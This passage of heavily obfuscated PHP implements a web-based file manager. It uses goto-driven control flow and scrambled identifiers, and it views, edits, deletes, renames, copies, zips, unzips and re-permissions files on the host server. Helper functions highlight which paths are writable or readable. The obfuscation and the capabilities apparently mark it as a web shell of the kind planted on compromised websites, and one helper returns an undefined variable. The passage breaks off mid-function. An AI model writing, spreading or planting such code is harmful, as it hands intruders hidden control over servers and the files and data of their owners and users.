if (!isset($_GET['edit'])) { goto z8Sls; } $fA2n2 = $_GET['view']; $fA2n2 = wxw3Q($fA2n2); $fA2n2 = str_replace('/', '', $fA2n2); if (!($fA2n2 == '' || !is_file($Hwgbl . '/' . $fA2n2))) { goto VsoE2; } Zr3b_('File not found', 'error'); VsoE2: bmvKD(); ib0xy(TrnH8); $JhAD1 = EaU6k . jdIFN((TrnH8 != '' ? '/' . TrnH8 : '') . '/' . $fA2n2); $RS3WA = $Hwgbl . '/' . $fA2n2; $LtN7k = strtolower(pathinfo($RS3WA, PATHINFO_EXTENSION)); $Lc9HS = hL0Dg($RS3WA); $ZZwvW = filesize($RS3WA); $hApAi = false; $M4ODW = false; $yPytv = false; $GM_Uh = false; $Nge9M = false; $mGknk = 'File'; $dzUra = false; $m96Q8 = ''; if ($LtN7k == 'zip') { goto hGqBR; } if (in_array($LtN7k, WvUPk())) { goto q8DY1; } if (in_array($LtN7k, byT_0())) { goto s71Uo; } if (in_array($LtN7k, yZKRg())) { goto nLBOQ; } if (in_array($LtN7k, IL_6E()) || substr($Lc9HS, 0, 4) == 'text' || in_array($Lc9HS, uRHjN())) { goto TvWh4; } goto wbN5R; hGqBR: $hApAi = true; $mGknk = 'Archive'; $dzUra = cAYcl($RS3WA); goto wbN5R; q8DY1: $M4ODW = true; $mGknk = 'Image'; goto wbN5R; s71Uo: $yPytv = true; $mGknk = 'Audio'; goto wbN5R; nLBOQ: $GM_Uh = true; $mGknk = 'Video'; goto wbN5R; TvWh4: $Nge9M = true; $m96Q8 = file_get_contents($RS3WA); wbN5R: ?> <div class="path"> <p class="break-word"><b><?php echo $mGknk; ?> "<?php echo hQqz2(jDIFn($fA2n2)); ?>"</b></p> <p class="break-word"> Full path: <?php echo hQqZ2(JdiFn($RS3WA)); ?><br> File size: <?php echo fFm0i($ZZwvW); if (!($ZZwvW >= 1000)) { goto qK3eP; } ?> (<?php echo sprintf('%s bytes', $ZZwvW); ?>)<?php qK3eP: ?><br> MIME-type: <?php echo $Lc9HS; ?><br> <?php if (!($hApAi && $dzUra !== false)) { goto SaXnI; } $HIvQP = 0; $qQuIJ = 0; $PlTgF = 0; foreach ($dzUra as $xxQHn) { if ($xxQHn['folder']) { goto kkh_2; } $HIvQP++; kkh_2: $qQuIJ += $xxQHn['compressed_size']; $PlTgF += $xxQHn['filesize']; LlKui: } tQs16: ?> Files in archive: <?php echo $HIvQP; ?><br> Total size: <?php echo fFM0I($PlTgF); ?><br> Size in archive: <?php echo ffM0i($qQuIJ); ?><br> Compression: <?php echo round($qQuIJ / $PlTgF * 100); ?>%<br> <?php SaXnI: if (!$M4ODW) { goto dZhDq; } $rwHNo = getimagesize($RS3WA); echo 'Image sizes: ' . (isset($rwHNo[0]) ? $rwHNo[0] : '0') . ' x ' . (isset($rwHNo[1]) ? $rwHNo[1] : '0') . '<br>'; dZhDq: if (!$Nge9M) { goto fGYou; } $yOpuc = Novk9($m96Q8); if (!function_exists('iconv')) { goto nnNDk; } if ($yOpuc) { goto dMuWc; } $m96Q8 = iconv(XT78D, 'UTF-8//IGNORE', $m96Q8); dMuWc: nnNDk: echo 'Charset: ' . ($yOpuc ? 'utf-8' : '8 bit') . '<br>'; fGYou: ?> </p> <p> <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;dl=<?php echo urlencode($fA2n2); ?>"><i class="icon-download"></i> Download</a></b> &nbsp; <b><a href="<?php echo hqqz2($JhAD1); ?>" target="_blank"><i class="icon-chain"></i> Open</a></b> &nbsp; <b><a href="javascript:edit_save();"><i class="icon-apply"></i> Save</a></b> &nbsp; <?php if (!($hApAi && $dzUra !== false)) { goto uegQT; } $kEdvl = pathinfo($RS3WA, PATHINFO_FILENAME); ?> <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;unzip=<?php echo urlencode($fA2n2); ?>"><i class="icon-apply"></i> Unpack</a></b> &nbsp; <b><a href="?p=<?php echo urlencode(TrnH8); ?>&amp;unzip=<?php echo urlencode($fA2n2); ?>&amp;tofolder=1" title="Unpack to <?php echo HqqZ2($kEdvl); ?>"><i class="icon-apply"></i> Unpack to folder</a></b> &nbsp; <?php uegQT: ?> <b><a href="?p=<?php echo urlencode(TrnH8); ?>"><i class="icon-goback"></i> Back</a></b> </p> <?php if ($hApAi) { goto vQrWt; } if ($M4ODW) { goto gA3mp; } if ($yPytv) { goto cUoNY; } if ($GM_Uh) { goto VTtc1; } if ($Nge9M) { goto VlmkY; } goto BeqUD; vQrWt: if ($dzUra !== false) { goto TqnuS; } echo '<p>Error while fetching archive info</p>'; goto RZZGE; TqnuS: echo '<code class="maxheight">'; foreach ($dzUra as $xxQHn) { if ($xxQHn['folder']) { goto lLqzc; } echo $xxQHn['name'] . ' (' . FFM0i($xxQHn['filesize']) . ')<br>'; goto knZVw; lLqzc: echo '<b>' . HQQz2($xxQHn['name']) . '</b><br>'; knZVw: uXCbm: } gW1Op: echo '</code>'; RZZGE: goto BeqUD; gA3mp: if (!in_array($LtN7k, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) { goto Wbe6v; } echo '<p><img src="' . hqqz2($JhAD1) . '" alt="" class="preview-img"></p>'; Wbe6v: goto BeqUD; cUoNY: echo '<p><audio src="' . HQqz2($JhAD1) . '" controls preload="metadata"></audio></p>'; goto BeqUD; VTtc1: echo '<div class="preview-video"><video src="' . hQQz2($JhAD1) . '" width="640" height="360" controls preload="metadata"></video></div>'; goto BeqUD; VlmkY: if (J1kXO) { goto bfFpt; } if (in_array($LtN7k, array('php', 'php4', 'php5', 'phtml', 'phps'))) { goto xXDTM; } $m96Q8 = '<pre>' . hQQz2($m96Q8) . '</pre>'; goto nvwfb; bfFpt: $cU1cx = array('shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml'); $JvjpH = isset($cU1cx[$LtN7k]) ? 'lang-' . $cU1cx[$LtN7k] : 'lang-' . $LtN7k; if (!(empty($LtN7k) || in_array(strtolower($fA2n2), JRyME()) || preg_match('#\\.min\\.(css|js)$#i', $fA2n2))) { goto SX89l; } $JvjpH = 'nohighlight'; SX89l: $m96Q8 = '<pre class="with-hljs"><textarea name="upload[]" style="width: 99.4%;height: 500px;" class="' . $JvjpH . '">' . HQQZ2($m96Q8) . '</textarea></pre>'; goto nvwfb; xXDTM: $m96Q8 = highlight_string($m96Q8, true); nvwfb: echo $m96Q8; BeqUD: ?> </div> <?php FBF3U(); exit; z8Sls: if (!(isset($_GET['chmod']) && !QP1GR)) { goto bkUWH; } $fA2n2 = $_GET['chmod']; $fA2n2 = WXw3q($fA2n2); $fA2n2 = str_replace('/', '', $fA2n2); if (!($fA2n2 == '' || !is_file($Hwgbl . '/' . $fA2n2) && !is_dir($Hwgbl . '/' . $fA2n2))) { goto F1bPb; } ZR3B_('File not found', 'error'); F1bPb: BMVkd(); Ib0Xy(TrnH8); $JhAD1 = EaU6k . (TrnH8 != '' ? '/' . TrnH8 : '') . '/' . $fA2n2; $RS3WA = $Hwgbl . '/' . $fA2n2; $k1C3A = fileperms($Hwgbl . '/' . $fA2n2); ?> <div class="path"> <p><b>Change Permissions</b></p> <p> Full path: <?php echo HqqZ2($RS3WA); ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo HQQz2(TrnH8); ?>"> <input type="hidden" name="chmod" value="<?php echo Hqqz2($fA2n2); ?>"> <table class="compact-table"> <tr> <td></td> <td><b>Owner</b></td> <td><b>Group</b></td> <td><b>Other</b></td> </tr> <tr> <td style="text-align: right"><b>Read</b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo $k1C3A & 0400 ? ' checked' : ''; ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo $k1C3A & 040 ? ' checked' : ''; ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo $k1C3A & 04 ? ' checked' : ''; ?>></label></td> </tr> <tr> <td style="text-align: right"><b>Write</b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo $k1C3A & 0200 ? ' checked' : ''; ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo $k1C3A & 020 ? ' checked' : ''; ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo $k1C3A & 02 ? ' checked' : ''; ?>></label></td> </tr> <tr> <td style="text-align: right"><b>Execute</b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo $k1C3A & 0100 ? ' checked' : ''; ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo $k1C3A & 010 ? ' checked' : ''; ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo $k1C3A & 01 ? ' checked' : ''; ?>></label></td> </tr> </table> <p> <button class="btn"><i class="icon-apply"></i> Change</button> &nbsp; <b><a href="?p=<?php echo urlencode(TrnH8); ?>"><i class="icon-cancel"></i> Cancel</a></b> </p> </form> </div> <?php fbf3u(); exit; bkUWH: bmVkd(); IB0xy(TrnH8); CnqNi(); $g6BMs = count($zwWEr); $sT3Ck = count($N9FEl); $sqKDl = 0; ?> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo hqQz2(TrnH8); ?>"> <input type="hidden" name="group" value="1"> <table> <tr> <th style="width:3%"><label><input type="checkbox" title="Invert selection" onclick="checkbox_toggle()"></label></th> <th>Name</th> <th style="width:10%">Size</th> <th style="width:12%">Modified</th> <?php if (QP1GR) { goto NhqgR; } ?> <th style="width:6%">Perms</th> <th style="width:10%">Owner</th> <?php NhqgR: ?> <th style="width:13%"></th> </tr> <?php if (!($aFPG_ !== false)) { goto pZCCx; } ?> <tr> <td></td> <td colspan="<?php echo !QP1GR ? '6' : '4'; ?>"><a href="?p=<?php echo urlencode($aFPG_); ?>"><i class="icon-arrow_up"></i> ..</a></td> </tr> <?php pZCCx: foreach ($N9FEl as $h9haS) { $EcD9O = is_link($Hwgbl . '/' . $h9haS); $KI6in = $EcD9O ? 'icon-link_folder' : 'icon-folder'; $ByEHU = date(PypMz, filemtime($Hwgbl . '/' . $h9haS)); $vcuhH = substr(decoct(fileperms($Hwgbl . '/' . $h9haS)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { goto AI3Oi; } $wuxkb = array('name' => '?'); $nVEB9 = array('name' => '?'); goto HeS9V; AI3Oi: $wuxkb = posix_getpwuid(fileowner($Hwgbl . '/' . $h9haS)); $nVEB9 = posix_getgrgid(filegroup($Hwgbl . '/' . $h9haS)); HeS9V: ?> <tr> <td><label><input type="checkbox" name="file[]" value="<?php echo hQQZ2($h9haS); ?>"></label></td> <td> <div class="filename"><a href="?p=<?php echo urlencode(trim(TrnH8 . '/' . $h9haS, '/')); ?>"><i class="<?php echo $KI6in; ?>"></i> <?php echo HQqz2(jdifN($h9haS)); ?></a><?php echo $EcD9O ? ' &rarr; <i>' . hqqZ2(readlink($Hwgbl . '/' . $h9haS)) . '</i>' : ''; ?></div> </td> <td>Folder</td> <td><?php echo $ByEHU; ?></td> <?php if (QP1GR) { goto taUfL; } ?> <td><a title="Change Permissions" href="?p=<?php echo urlencode(TrnH8); ?>&amp;chmod=<?php echo urlencode($h9haS); ?>"><?php echo $vcuhH; ?></a></td> <td><?php echo HQqz2($wuxkb['name'] . ':' . $nVEB9['name']); ?></td> <?php taUfL: ?> <td> <a title="Delete" href="?p=<?php echo urlencode(TrnH8); ?>&amp;del=<?php echo urlencode($h9haS); ?>" onclick="return confirm('Delete folder?');"><i class="icon-cross"></i></a> <a title="Rename" href="#" onclick="rename('<?php echo hQqZ2(TrnH8); ?>', '<?php echo hQQZ2($h9haS); ?>');return false;"><i class="icon-rename"></i></a> <a title="Copy to..." href="?p=&amp;copy=<?php echo urlencode(trim(TrnH8 . '/' . $h9haS, '/')); ?>"><i class="icon-copy"></i></a> <a title="Direct link" href="<?php echo hqQZ2(EaU6k . (TrnH8 != '' ? '/' . TrnH8 : '') . '/' . $h9haS . '/'); ?>" target="_blank"><i class="icon-chain"></i></a> </td> </tr> <?php flush(); BBDkb: } I7A5R: foreach ($zwWEr as $h9haS) { $EcD9O = is_link($Hwgbl . '/' . $h9haS); $KI6in = $EcD9O ? 'icon-link_file' : H3IQB($Hwgbl . '/' . $h9haS); $ByEHU = date(PypMz, filemtime($Hwgbl . '/' . $h9haS)); $A40es = filesize($Hwgbl . '/' . $h9haS); $ZZwvW = FFM0I($A40es); $Ao9ly = '?p=' . urlencode(TrnH8) . '&view=' . urlencode($h9haS); $sqKDl += $A40es; $vcuhH = substr(decoct(fileperms($Hwgbl . '/' . $h9haS)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { goto mx3rH; } $wuxkb = array('name' => '?'); $nVEB9 = array('name' => '?'); goto p0POI; mx3rH: $wuxkb = posix_getpwuid(fileowner($Hwgbl . '/' . $h9haS)); $nVEB9 = posix_getgrgid(filegroup($Hwgbl . '/' . $h9haS)); p0POI: ?> <tr> <td><label><input type="checkbox" name="file[]" value="<?php echo hQqZ2($h9haS); ?>"></label></td> <td> <div class="filename"><a href="<?php echo HQqZ2($Ao9ly); ?>" title="File info"><i class="<?php echo $KI6in; ?>"></i> <?php echo HQqz2(jDIFn($h9haS)); ?></a><?php echo $EcD9O ? ' &rarr; <i>' . HQqz2(readlink($Hwgbl . '/' . $h9haS)) . '</i>' : ''; ?></div> </td> <td><span class="gray" title="<?php printf('%s bytes', $A40es); ?>"><?php echo $ZZwvW; ?></span></td> <td><?php echo $ByEHU; ?></td> <?php if (QP1GR) { goto tXT2_; } ?> <td><a title="Change Permissions" href="?p=<?php echo urlencode(TrnH8); ?>&amp;chmod=<?php echo urlencode($h9haS); ?>"><?php echo $vcuhH; ?></a></td> <td><?php echo HQQZ2($wuxkb['name'] . ':' . $nVEB9['name']); ?></td> <?php tXT2_: ?> <td> <a title="Delete" href="?p=<?php echo urlencode(TrnH8); ?>&amp;del=<?php echo urlencode($h9haS); ?>" onclick="return confirm('Delete file?');"><i class="icon-cross"></i></a> <a title="Rename" href="#" onclick="rename('<?php echo hqqz2(TrnH8); ?>', '<?php echo hqQZ2($h9haS); ?>');return false;"><i class="icon-rename"></i></a> <a title="Copy to..." href="?p=<?php echo urlencode(TrnH8); ?>&amp;copy=<?php echo urlencode(trim(TrnH8 . '/' . $h9haS, '/')); ?>"><i class="icon-copy"></i></a> <a title="Direct link" href="<?php echo HqqZ2(EaU6k . (TrnH8 != '' ? '/' . TrnH8 : '') . '/' . $h9haS); ?>" target="_blank"><i class="icon-chain"></i></a> <a title="Download" href="?p=<?php echo urlencode(TrnH8); ?>&amp;dl=<?php echo urlencode($h9haS); ?>"><i class="icon-download"></i></a> </td> </tr> <?php flush(); gUSX7: } GGsOw: if (empty($N9FEl) && empty($zwWEr)) { goto afZ0x; } ?> <tr> <td class="gray"></td> <td class="gray" colspan="<?php echo !QP1GR ? '6' : '4'; ?>"> Full size: <span title="<?php printf('%s bytes', $sqKDl); ?>"><?php echo ffM0i($sqKDl); ?></span>, files: <?php echo $g6BMs; ?>, folders: <?php echo $sT3Ck; ?> </td> </tr> <?php goto eexzU; afZ0x: ?> <tr> <td></td> <td colspan="<?php echo !QP1GR ? '6' : '4'; ?>"><em>Folder is empty</em></td> </tr> <?php eexzU: ?> </table> <p class="path"><a href="#" onclick="select_all();return false;"><i class="icon-checkbox"></i> Select all</a> &nbsp; <a href="#" onclick="unselect_all();return false;"><i class="icon-checkbox_uncheck"></i> Unselect all</a> &nbsp; <a href="#" onclick="invert_all();return false;"><i class="icon-checkbox_invert"></i> Invert selection</a> </p> <p><input type="submit" name="delete" value="Delete" onclick="return confirm('Delete selected files and folders?')"> <input type="submit" name="zip" value="Pack" onclick="return confirm('Create archive?')"> <input type="submit" name="copy" value="Copy"> </p> </form> <?php fbf3u(); function nynUT($Hwgbl) { if (is_link($Hwgbl)) { goto LA3a_; } if (is_dir($Hwgbl)) { goto w3djF; } if (is_file($Hwgbl)) { goto X_4dk; } goto jC2fT; LA3a_: return unlink($Hwgbl); goto jC2fT; w3djF: $YJKZX = scandir($Hwgbl); $ehiAK = true; if (!is_array($YJKZX)) { goto J3EnF; } foreach ($YJKZX as $fA2n2) { if (!($fA2n2 != '.' && $fA2n2 != '..')) { goto SBH9c; } if (NynuT($Hwgbl . '/' . $fA2n2)) { goto DaXdV; } $ehiAK = false; DaXdV: SBH9c: A01Tw: } BcNad: J3EnF: return $ehiAK ? rmdir($Hwgbl) : false; goto jC2fT; X_4dk: return unlink($Hwgbl); jC2fT: return false; } function sXP_x($Hwgbl, $QMlCA, $WY0Ik) { if (is_dir($Hwgbl)) { goto SjXze; } if (is_link($Hwgbl)) { goto rH0n9; } if (is_file($Hwgbl)) { goto NEKNS; } goto awR5e; SjXze: if (chmod($Hwgbl, $WY0Ik)) { goto bee82; } return false; bee82: $YJKZX = scandir($Hwgbl); if (!is_array($YJKZX)) { goto Gu4FA; } foreach ($YJKZX as $fA2n2) { if (!($fA2n2 != '.' && $fA2n2 != '..')) { goto mmPM7; } if (SXP_x($Hwgbl . '/' . $fA2n2, $QMlCA, $WY0Ik)) { goto Wpsai; } return false; Wpsai: mmPM7: C9BM5: } RdgQ3: Gu4FA: return true; goto awR5e; rH0n9: return true; goto awR5e; NEKNS: return chmod($Hwgbl, $QMlCA); awR5e: return false; } function NmvFT($zM8SE, $Izzxh) { return !file_exists($Izzxh) && file_exists($zM8SE) ? rename($zM8SE, $Izzxh) : null; } function j3CPL($Hwgbl, $pgvw7, $JgdQc = true, $Mmy0Q = true) { if (is_dir($Hwgbl)) { goto fg5vM; } if (is_file($Hwgbl)) { goto BGJkM; } goto UZ7Fs; fg5vM: if (UiiyH($pgvw7, $Mmy0Q)) { goto TR8M1; } return false; TR8M1: $YJKZX = scandir($Hwgbl); $ehiAK = true; if (!is_array($YJKZX)) { goto oHdPS; } foreach ($YJKZX as $fA2n2) { if (!($fA2n2 != '.' && $fA2n2 != '..')) { goto kotaA; } if (j3CPl($Hwgbl . '/' . $fA2n2, $pgvw7 . '/' . $fA2n2)) { goto XVPwj; } $ehiAK = false; XVPwj: kotaA: gCzQh: } wP0DO: oHdPS: return $ehiAK; goto UZ7Fs; BGJkM: return Z7fUy($Hwgbl, $pgvw7, $JgdQc); UZ7Fs: return false; } function uIiYh($NQaze, $Mmy0Q) { if (!file_exists($NQaze)) { goto HVfuD; } if (is_dir($NQaze)) { goto eUan3; } if (!$Mmy0Q) { goto bs2kl; } goto zXmH1; eUan3: return $NQaze; goto zXmH1; bs2kl: return false; zXmH1: unlink($NQaze); HVfuD: return mkdir($NQaze, 0777, true); } function z7FUY($IYDEP, $SonFN, $JgdQc) { $VHptE = filemtime($IYDEP); if (!file_exists($SonFN)) { goto Wxruq; } $lq4uJ = filemtime($SonFN); if (!($lq4uJ >= $VHptE && $JgdQc)) { goto LVThZ; } return false; LVThZ: Wxruq: $ehiAK = copy($IYDEP, $SonFN); if (!$ehiAK) { goto QJeGW; } touch($SonFN, $VHptE); QJeGW: return $ehiAK; } function HL0dG($RS3WA) { if (function_exists('finfo_open')) { goto VKD6f; } if (function_exists('mime_content_type')) { goto kiCa2; } if (!stristr(ini_get('disable_functions'), 'exec')) { goto B_T19; } return '--'; goto zYqc0; VKD6f: $dAyML = finfo_open(FILEINFO_MIME_TYPE); $YBVe0 = finfo_file($dAyML, $RS3WA); finfo_close($dAyML); return $YBVe0; goto zYqc0; kiCa2: return mime_content_type($RS3WA); goto zYqc0; B_T19: $fA2n2 = escapeshellarg($RS3WA); return $YBVe0; zYqc0: } function DTbpn($C_o71, $R78TR = 302) { header('Location: ' . $C_o71, true, $R78TR); exit; } function WxW3Q($Hwgbl) { $Hwgbl = trim($Hwgbl); $Hwgbl = trim($Hwgbl, '\\/'); return str_replace('\\', '/', $Hwgbl); } function yTqTv($Hwgbl) { $Hwgbl = WxW3Q($Hwgbl); if (!($Hwgbl != '')) { goto hFiQj; } $ccs3N = explode('/', $Hwgbl); if (!(count($ccs3N) > 1)) { goto JG1QH; } $ccs3N = array_slice($ccs3N, 0, -1); return implode('/', $ccs3N); JG1QH: return ''; hFiQj: return false; } function FfM0i($dMnh6) { if ($dMnh6 < 1000) { goto C9dzD; } if ($dMnh6 / 1024 < 1000) { goto P6vBV; } if ($dMnh6 / 1024 / 1024 < 1000) { goto NTZmm; } if ($dMnh6 / 1024 / 1024 / 1024 < 1000) { goto s6fL4; } return sprintf('%s TiB', round($dMnh6 / 1024 / 1024 / 1024 / 1024, 2)); goto rH3yb; C9dzD: return sprintf('%s B', $dMnh6); goto rH3yb; P6vBV: return sprintf('%s KiB', round($dMnh6 / 1024, 2)); goto rH3yb; NTZmm: return sprintf('%s MiB', round($dMnh6 / 1024 / 1024, 2)); goto rH3yb; s6fL4: return sprintf('%s GiB', round($dMnh6 / 1024 / 1024 / 1024, 2)); rH3yb: } function caYcl($Hwgbl) { if (!function_exists('zip_open')) { goto ASied; } $VpbjC = zip_open($Hwgbl); if (!$VpbjC) { goto vABLY; } $dzUra = array(); VuF4C: if (!($g6vHh = zip_read($VpbjC))) { goto uIudD; } $kEdvl = zip_entry_name($g6vHh); $GBRbL = substr($kEdvl, -1) == '/'; $dzUra[] = array('name' => $kEdvl, 'filesize' => zip_entry_filesize($g6vHh), 'compressed_size' => zip_entry_compressedsize($g6vHh), 'folder' => $GBRbL); goto VuF4C; uIudD: zip_close($VpbjC); return $dzUra; vABLY: ASied: return false; } function hqqZ2($XENOl) { return htmlspecialchars($XENOl, ENT_QUOTES, 'UTF-8'); } function ZR3b_($zZZyL, $eQnCm = 'ok') { $_SESSION['message'] = $zZZyL; $_SESSION['status'] = $eQnCm; } function NOVk9($DZRPB) { return preg_match('//u', $DZRPB); } function jdifN($KjnK1) { if (!(QP1GR && function_exists('iconv'))) { goto Vn3Ym; } $KjnK1 = iconv(XT78D, 'UTF-8//IGNORE', $KjnK1); Vn3Ym: return $KjnK1; } function H3iQB($Hwgbl) { $LtN7k = strtolower(pathinfo($Hwgbl, PATHINFO_EXTENSION)); switch ($LtN7k) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': $KI6in = 'icon-file_image'; goto GRJZP; case 'txt': case 'css': case 'ini': case 'conf': case 'log': case 'htaccess': case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'less': case 'sass': case 'scss': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $KI6in = 'icon-file_text'; goto GRJZP; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $KI6in = 'icon-file_zip'; goto GRJZP; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $KI6in = 'icon-file_php'; goto GRJZP; case 'htm': case 'html': case 'shtml': case 'xhtml': $KI6in = 'icon-file_html'; goto GRJZP; case 'xml': case 'xsl': case 'svg': $KI6in = 'icon-file_code'; goto GRJZP; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $KI6in = 'icon-file_music'; goto GRJZP; case 'm3u': case 'm3u8': case 'pls': case 'cue': $KI6in = 'icon-file_playlist'; goto GRJZP; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $KI6in = 'icon-file_film'; goto GRJZP; case 'eml': case 'msg': $KI6in = 'icon-file_outlook'; goto GRJZP; case 'xls': case 'xlsx': $KI6in = 'icon-file_excel'; goto GRJZP; case 'csv': $KI6in = 'icon-file_csv'; goto GRJZP; case 'doc': case 'docx': $KI6in = 'icon-file_word'; goto GRJZP; case 'ppt': case 'pptx': $KI6in = 'icon-file_powerpoint'; goto GRJZP; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $KI6in = 'icon-file_font'; goto GRJZP; case 'pdf': $KI6in = 'icon-file_pdf'; goto GRJZP; case 'psd': $KI6in = 'icon-file_photoshop'; goto GRJZP; case 'ai': case 'eps': $KI6in = 'icon-file_illustrator'; goto GRJZP; case 'fla': $KI6in = 'icon-file_flash'; goto GRJZP; case 'swf': $KI6in = 'icon-file_swf'; goto GRJZP; case 'exe': case 'msi': $KI6in = 'icon-file_application'; goto GRJZP; case 'bat': $KI6in = 'icon-file_terminal'; goto GRJZP; default: $KI6in = 'icon-document'; } Rh2TC: GRJZP: return $KI6in; } function WvupK() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd'); } function yzKrg() { return array('webm', 'mp4', 'm4v', 'ogm', 'ogv', 'mov'); } function Byt_0() { return array('wav', 'mp3', 'ogg', 'm4a'); } function il_6E() { return array('txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg'); } function urhjN() { return array('application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822'); } function jryme() { return array('license', 'readme', 'authors', 'contributors', 'changelog'); } class lU9vN { private $QVDDo; public function __construct() { $this->QVDDo = new ZipArchive(); } public function WnRKg($KjnK1, $zwWEr) { $o5f5S = $this->QVDDo->open($KjnK1, ZipArchive::CREATE); if (!($o5f5S !== true)) { goto l1Duy; } return false; l1Duy: if (is_array($zwWEr)) { goto icFBA; } if (!$this->AxnJM($zwWEr)) { goto Dsw1x; } $this->QVDDo->close(); return true; Dsw1x: return false; goto rKAsf; icFBA: foreach ($zwWEr as $h9haS) { if ($this->Axnjm($h9haS)) { goto SS43K; } $this->QVDDo->close(); return false; SS43K: Rgs8F: } cAH5l: $this->QVDDo->close(); return true; rKAsf: } public function ZCPOK($KjnK1, $Hwgbl) { $o5f5S = $this->QVDDo->open($KjnK1); if (!($o5f5S !== true)) { goto w1qO8; } return false; w1qO8: if (!$this->QVDDo->extractTo($Hwgbl)) { goto tivLs; } $this->QVDDo->close(); return true; tivLs: return false; } private function axNjM($KjnK1) { if (is_file($KjnK1)) { goto xvz07; } if (is_dir($KjnK1)) { goto YF56F; } goto I2tm_; xvz07: return $this->QVDDo->addFile($KjnK1); goto I2tm_; YF56F: return $this->i7iFL($KjnK1); I2tm_: return false; } private function I7IFl($Hwgbl) { if ($this->QVDDo->addEmptyDir($Hwgbl)) { goto bXBix; } return false; bXBix: $YJKZX = scandir($Hwgbl); if (!is_array($YJKZX)) { goto op_Io; } foreach ($YJKZX as $fA2n2) { if (!($fA2n2 != '.' && $fA2n2 != '..')) { goto KgV78; } if (is_dir($Hwgbl . '/' . $fA2n2)) { goto ODjKW; } if (is_file($Hwgbl . '/' . $fA2n2)) { goto TiTu8; } goto DfzHY; ODjKW: if ($this->I7IFl($Hwgbl . '/' . $fA2n2)) { goto i3ejn; } return false; i3ejn: goto DfzHY; TiTu8: if ($this->QVDDo->addFile($Hwgbl . '/' . $fA2n2)) { goto Q0NS6; } return false; Q0NS6: DfzHY: KgV78: NQsRs: } w__oj: return true; op_Io: return false; } } function iB0xy($Hwgbl) { ?> <div class="path"> <div class="infopath"> <?php function Y6E24($NQaze, $ur3TY) { if (!is_writable($NQaze)) { goto ufTlQ; } return "<font color=lime>" . $ur3TY . "</font>"; goto zirWA; ufTlQ: return "<font color=red>" . $ur3TY . "</font>"; zirWA: } function N9zSK($NQaze, $ur3TY) { if (!is_readable($NQaze)) { goto w4PKY; } return "<font color=lime>" . $ur3TY . "</font>"; goto OKDej; w4PKY: return "<font color=red>" . $ur3TY . "</font>"; OKDej: } function VwADZ($fA2n2) { $vcuhH = fileperms($fA2n2); if (($vcuhH & 0xc000) == 0xc000) { goto bO5zG; } if (($vcuhH & 0xa000) == 0xa000) { goto X_oEu; } if (($vcuhH & 0x8000) == 0x8000) { goto Fgy8p; } if (($vcuhH & 0x6000) == 0x6000) { goto VtdyT; } if (($vcuhH & 0x4000) == 0x4000) { goto xlJR3; } if (($vcuhH & 0x2000) == 0x2000) { goto duD6K; } if (($vcuhH & 0x1000) == 0x1000) { goto U3mb9; } $Mcsvi = 'u'; goto Qn5xj; bO5zG: $Mcsvi = 's'; goto Qn5xj; X_oEu: $Mcsvi = 'l'; goto Qn5xj; Fgy8p: $Mcsvi = '-'; goto Qn5xj; VtdyT: $Mcsvi = 'b'; goto Qn5xj; xlJR3: $Mcsvi = 'd'; goto Qn5xj; duD6K: $Mcsvi = 'c'; goto Qn5xj; U3mb9: $Mcsvi = 'p'; Qn5xj: $Mcsvi .= $vcuhH & 0x100 ? 'r' : '-'; $Mcsvi .= $vcuhH & 0x80 ? 'w' : '-'; $Mcsvi .= $vcuhH & 0x40 ? $vcuhH & 0x800 ? 's' : 'x' : ($vcuhH & 0x800 ? 'S' : '-'); $Mcsvi .= $vcuhH & 0x20 ? 'r' : '-'; $Mcsvi .= $vcuhH & 0x10 ? 'w' : '-'; $Mcsvi .= $vcuhH & 0x8 ? $vcuhH & 0x400 ? 's' : 'x' : ($vcuhH & 0x400 ? 'S' : '-'); $Mcsvi .= $vcuhH & 0x4 ? 'r' : '-'; $Mcsvi .= $vcuhH & 0x2 ? 'w' : '-'; $Mcsvi .= $vcuhH & 0x1 ? $vcuhH & 0x200 ? 't' : 'x' 